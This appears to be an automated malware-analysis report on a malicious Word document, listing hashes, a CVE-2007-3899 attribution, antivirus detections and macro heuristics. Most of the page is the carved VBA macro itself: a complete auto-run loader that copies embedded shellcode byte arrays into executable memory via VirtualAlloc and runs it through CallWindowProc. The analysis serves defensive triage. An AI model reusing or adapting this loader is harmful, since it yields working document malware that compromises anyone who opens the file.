Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42ccde794722ce2f…

MALICIOUS

Office (OLE)

43.5 KB Created: 2017-12-05 02:55:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: f5ed9f5f5d33929939becc69e5c1d150 SHA-1: 8b03c28b09abffd6587e678783e49724d1200eae SHA-256: 42ccde794722ce2f57dd1fcf27d508a793d4259886af9bbeea5a97fad43c29ee
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that leverages the CVE-2007-3899 vulnerability to achieve code execution. The embedded VBA macro utilizes the VirtualAlloc API, indicating it's designed to allocate memory for and execute a payload. This dropper functionality is further supported by ClamAV detection as 'Doc.Dropper.Valyria-6680543-0'.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long, Hyeyhafxp2 As Variant, Hyeyhafxp3 As Variant, Zolde2 As Long, Zolde3 As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9487 bytes
SHA-256: 9e2af0e1469ff976d2eb52cd65e45c237ae4cb030a112411979946889fe10a71
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If VBA7 Then
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal pointer As LongPtr, ByVal hwnd As Long, ByVal msg As Long, ByVal param As Long, ByVal lparam As Long) As Long
#Else
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long
#End If

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long, Hyeyhafxp2 As Variant, Hyeyhafxp3 As Variant, Zolde2 As Long, Zolde3 As Long
#If VBA7 Then
        Dim Xlbufvetp As LongPtr, XlbufvetpUpdated As LongPtr
#Else
        Dim Xlbufvetp As Long, XlbufvetpUpdated As Long
#End If
        
        Hyeyhafxp = Array(&H55, &H8B, &HEC, &H83, &HE4, &HF8, &H81, &HEC, &H14, &H2, &H0, &H0, &H53, &H56, &H57, &H64, _
&HA1, &H30, &H0, &H0, &H0, &H8B, &H40, &HC, &H8B, &H50, &HC, &H8B, &H4A, &H30, &H8B, &HD9, _
&H85, &HC9, &H74, &H2D, &HF, &HB7, &H1, &H33, &HFF, &HBE, &H5, &H15, &H0, &H0, &H66, &H85, _
&HC0, &H74, &H1E, &H6B, &HF6, &H21, &HF, &HB7, &HC0, &H3, &HF0, &H47, &HF, &HB7, &H4, &H79, _
 &H66, &H85, &HC0, &H75, &HEE, &H81, &HFE, &H55, &H95, &HDB, &H6D, &HF, &H84, &HB7, &H1, &H0, _
 &H0, &H8B, &H12, &H8B, &H4A, &H30, &H3B, &HCB, &H75, &HC6, &H33, &HDB, &H85, &HDB, &HF, &H84, _
 &H2E, &H2, &H0, &H0, &HBA, &HFB, &HF0, &HBF, &H5F, &H8B, &HCB, &HE8, &H56, &H3, &H0, &H0, _
 &H8B, &HF0, &H85, &HF6, &HF, &H84, &H18, &H2, &H0, &H0, &H8D, &H44, &H24, &H4C, &HC7, &H44, _
 &H24, &H4C, &H75, &H73, &H65, &H72, &H50, &HC7, &H44, &H24, &H54, &H33, &H32, &H2E, &H64, &H66, _
 &HC7, &H44, &H24, &H58, &H6C, &H6C, &HC6, &H44, &H24, &H5A, &H0, &HFF, &HD6, &H85, &HC0, &HF, _
 &H84, &HED, &H1, &H0, &H0, &HBA, &HB4, &H14, &H4F, &H38, &H8B, &HC8, &HE8, &H15, &H3, &H0, _
 &H0, &H89, &H44, &H24, &H1C, &H85, &HC0, &HF, &H84, &HD5, &H1, &H0, &H0, &H6A, &H40, &H8D, _
 &H4C, &H24, &H1C, &HC7, &H44, &H24, &H28, &H73, &H74, &H61, &H72, &H51, &H8D, &H4C, &H24, &H2C, _
 &H66, &HC7, &H44, &H24, &H30, &H74, &H0, &H33, &HD2, &H66, &HC7, &H44, &H24, &H20, &H3A, &H29, _
 &H51, &H52, &H88, &H54, &H24, &H2A, &HFF, &HD0, &H8D, &H44, &H24, &H58, &HC7, &H44, &H24, &H58, _
 &H77, &H73, &H32, &H5F, &H50, &HC7, &H44, &H24, &H60, &H33, &H32, &H2E, &H64, &H66, &HC7, &H44, _
 &H24, &H64, &H6C, &H6C, &HC6, &H44, &H24, &H66, &H0, &HFF, &HD6, &H89, &H44, &H24, &H20, &H85, _
 &HC0, &HF, &H84, &H7B, &H1, &H0, &H0, &HBA, &H83, &HC6, &H28, &H61, &H8B, &HC8, &HE8, &HA3, _
 &H2, &H0, &H0, &H85, &HC0, &HF, &H84, &H67, &H1, &H0, &H0, &H8D, &H8C, &H24, &H90, &H0, _
 &H0, &H0, &H51, &H68, &H2, &H2, &H0, &H0, &HFF, &HD0, &H8B, &H74, &H24, &H1C, &H85, &HC0, _
 &H74, &H24, &H6A, &H40, &H8D, &H44, &H24, &H1C, &HC7, &H44, &H24, &H10, &H57, &H53, &H41, &H5F, _
 &H50, &H8D, &H44, &H24, &H14, &H66, &HC7, &H44, &H24, &H18, &H45, &H52, &H50, &H6A, &H0, &HC6, _
 &H44, &H24, &H22, &H0, &HFF, &HD6, &H83, &H64, &H24, &H6C, &H0, &H8D, &H7C, &H24, &H70, &H6A, _
 &H8, &H59, &H33, &HC0, &HBA, &HCC, &HCD, &H84, &H7C, &HF3, &HAB, &H8B, &H7C, &H24, &H20, &H8B, _
 &HCF, &HC7, &H44, &H24, &H74, &H2, &H0, &H0, &H0, &HC7, &H44, &H24, &H78, &H1, &H0, &H0)

        
        Hyeyhafxp2 = Array(&H0, &H0, &HC7, &H44, &H24, &H7C, &H6, &H0, &H0, &H0, &HE8, &H28, &H2, &H0, &H0, &H85, &HC0, _
 &HF, &H84, &HEC, &H0, &H0, &H0, &H8D, &H4C, &H24, &H6C, &HC7, &H44, &H24, &H34, &H61, &H62, _
 &H68, &H69, &H51, &H8D, &H4C, &H24, &H74, &HC7, &H44, &H24, &H3C, &H73, &H69, &H32, &H32, &H51, _
 &H8D, &H4C, &H24, &H34, &HC6, &H44, &H24, &H44, &H0, &H51, &H8D, &H4C, &H24, &H40, &HC7, &H44, _
 &H24, &H38, &H32, &H37, &H30, &H31, &H51, &H66, &HC7, &H44, &H24, &H40, &H35, &H0, &HFF, &HD0, _
 &H85, &HC0, &H74, &H2C, &H8D, &H44, &H24, &H18, &HC7, &H44, &H24, &HC, &H67, &H61, &H69, &H5F, _
 &H6A, &H40, &H50, &H66, &HC7, &H44, &H24, &H18, &H45, &H52, &H8D, &H44, &H24, &H14, &HC6, &H44, _
 &H24, &H1A, &H0, &HE9, &H85, &H0, &H0, &H0, &H8B, &H5A, &H18, &HE9, &H4C, &HFE, &HFF, &HFF, _
 &HBA, &H2E, &H3, &H31, &H1C, &H8B, &HCF, &HE8, &HAA, &H1, &H0, &H0, &H89, &H44, &H24, &H1C, _
 &H85, &HC0, &H74, &H6E, &HBA, &HCF, &H4D, &H76, &HD3, &HE8, &H98, &H1, &H0, &H0, &H89, &H44, _
 &H24, &H64, &H85, &HC0, &H74, &H5C, &H8B, &H7C, &H24, &H6C, &HEB, &H2D, &HFF, &H77, &HC, &HFF, _
 &H77, &H8, &HFF, &H77, &H4, &HFF, &H54, &H24, &H28, &H89, &H44, &H24, &H68, &H83, &HF8, &HFF, _
 &HF, &H84, &H49, &H1, &H0, &H0, &HFF, &H77, &H10, &HFF, &H77, &H18, &H50, &HFF, &H54, &H24, _
 &H70, &H83, &HF8, &HFF, &H75, &H36, &H8B, &H7F, &H1C, &H85, &HFF, &H75, &HCF, &H8D, &H44, &H24, _
 &H18, &HC7, &H44, &H24, &HC, &H63, &H6F, &H6E, &H5F, &H6A, &H40, &H50, &HC7, &H44, &H24, &H18, _
 &H66, &H61, &H69, &H6C, &H8D, &H44, &H24, &H14, &HC6, &H44, &H24, &H1C, &H0, &H50, &H6A, &H0, _
 &HFF, &HD6, &H33, &HC0, &H40, &H5F, &H5E, &H5B, &H8B, &HE5, &H5D, &HC3, &H6A, &H40, &H8D, &H44, _
 &H24, &H1C, &HC7, &H44, &H24, &H44, &H63, &H6F, &H6E, &H5F, &H50, &H8D, &H44, &H24, &H48, &HC7, _
 &H44, &H24, &H4C, &H73, &H75, &H63, &H63, &H50, &H6A, &H0, &HC6, &H44, &H24, &H58, &H0, &HFF, _
 &HD6, &H8B, &H4C, &H24, &H20, &HBA, &H95, &H4D, &H9D, &H7C, &HE8, &HF7, &H0, &H0, &H0, &H89, _
 &H44, &H24, &H64, &H85, &HC0, &H74, &HBB, &HBA, &H4E, &HBE, &H3F, &H3B, &HE8, &HE5, &H0, &H0, _
 &H0, &H89, &H44, &H24, &H20, &H85, &HC0, &H74, &HA9, &HBA, &H97, &HF, &H2C, &H38, &H8B, &HCB, _
 &HE8, &HD1, &H0, &H0, &H0, &H85, &HC0, &H74, &H99, &H6A, &H40, &HB9, &H0, &H10, &H0, &H0, _
 &H51, &H51, &H6A, &H0, &HFF, &HD0, &H8B, &HC8, &H89, &H44, &H24, &HC, &HBF, &HC8, &H0, &H0)
 
        
        
        Hyeyhafxp3 = Array(&H0, &H0, &H89, &H4C, &H24, &H1C, &H6A, &H0, &H57, &H51, &HFF, &H74, &H24, &H74, &HFF, &H54, &H24, _
 &H74, &H83, &HF8, &HFF, &H75, &H11, &HFF, &H54, &H24, &H20, &H3D, &H33, &H27, &H0, &H0, &H75, _
 &H67, &H8B, &H4C, &H24, &H1C, &HEB, &H10, &H85, &HC0, &H74, &H5D, &H8B, &H4C, &H24, &H1C, &H3, _
 &HC8, &H2B, &HF8, &H89, &H4C, &H24, &H1C, &H85, &HFF, &H7F, &HCA, &HBA, &H51, &HF4, &H8, &H7F, _
 &H8B, &HCB, &H89, &H54, &H24, &H68, &HE8, &H6B, &H0, &H0, &H0, &H85, &HC0, &HF, &H84, &H2F, _
 &HFF, &HFF, &HFF, &H33, &HDB, &H8D, &H4C, &H24, &H68, &H53, &H53, &H51, &HFF, &H74, &H24, &H18, _
 &H53, &H53, &HFF, &HD0, &H6A, &H40, &H8D, &H44, &H24, &H1C, &HC7, &H44, &H24, &H10, &H72, &H65, _
 &H63, &H69, &H50, &H8D, &H44, &H24, &H14, &HC7, &H44, &H24, &H18, &H65, &H76, &H65, &H64, &H50, _
 &H53, &H66, &H89, &H5C, &H24, &H24, &HFF, &HD6, &H33, &HC0, &HE9, &HF6, &HFE, &HFF, &HFF, &H8D, _
 &H44, &H24, &H18, &HC7, &H44, &H24, &HC, &H63, &H6F, &H6E, &H53, &H6A, &H40, &H50, &HC7, &H44, _
 &H24, &H18, &H6F, &H63, &H5F, &H45, &H8D, &H44, &H24, &H14, &H66, &HC7, &H44, &H24, &H1C, &H52, _
 &H0, &HE9, &HC7, &HFE, &HFF, &HFF, &H55, &H8B, &HEC, &H83, &HEC, &H10, &H8B, &H41, &H3C, &H89, _
&H55, &HFC, &H8B, &H44, &H8, &H78, &H85, &HC0, &H74, &H56, &H8B, &H54, &H8, &H1C, &H53, &H8B, &H5C, &H8, &H24, _
&H3, &HD1, &H56, &H8B, &H74, &H8, &H20, &H3, &HD9, &H8B, &H44, &H8, &H18, &H3, &HF1, &H89, &H55, &HF0, &H33, _
&HD2, &H89, &H75, &HF4, &H89, &H45, &HF8, &H57, &H85, &HC0, &H74, &H29, &H8B, &H34, &H96, &HBF, &H5, &H15, &H0, _
&H0, &H3, &HF1, &HEB, &H9, &H6B, &HFF, &H21, &HF, &HBE, &HC0, &H3, &HF8, &H46, &H8A, &H6, &H84, &HC0, &H75, _
&HF1, &H3B, &H7D, &HFC, &H74, &H12, &H8B, &H75, &HF4, &H42, &H3B, &H55, &HF8, &H72, &HD7, &H33, &HC0, &H5F, &H5E, _
&H5B, &H8B, &HE5, &H5D, &HC3, &HF, &HB7, &H4, &H53, &H8B, &H55, &HF0, &H8B, &H4, &H82, &H3, &HC1, &HEB, &HEB, _
&H0, &H0)



        Xlbufvetp = VirtualAlloc(0, &H1000, &H1000, &H40)
        
        XlbufvetpUpdated = Xlbufvetp
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
                XlbufvetpUpdated = Xlbufvetp + Zolde
        Next Zolde
        
        XlbufvetpUpdated2 = XlbufvetpUpdated
        For Zolde2 = LBound(Hyeyhafxp2) To UBound(Hyeyhafxp2)
                Wyzayxya = Hyeyhafxp2(Zolde2)
                Lezhtplzi = RtlMoveMemory(XlbufvetpUpdated + Zolde2, Wyzayxya, 1)
                XlbufvetpUpdated2 = XlbufvetpUpdated + Zolde2
        Next Zolde2
        
        XlbufvetpUpdated3 = XlbufvetpUpdated2
        For Zolde3 = LBound(Hyeyhafxp3) To UBound(Hyeyhafxp3)
                Wyzayxya = Hyeyhafxp3(Zolde3)
                Lezhtplzi = RtlMoveMemory(XlbufvetpUpdated2 + Zolde3, Wyzayxya, 1)
                XlbufvetpUpdated3 = XlbufvetpUpdated2 + Zolde3
        Next Zolde3
        
        Dim retVal As Long
        retVal = CallWindowProc(Xlbufvetp, 0, 0, 0, 0)
        
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub

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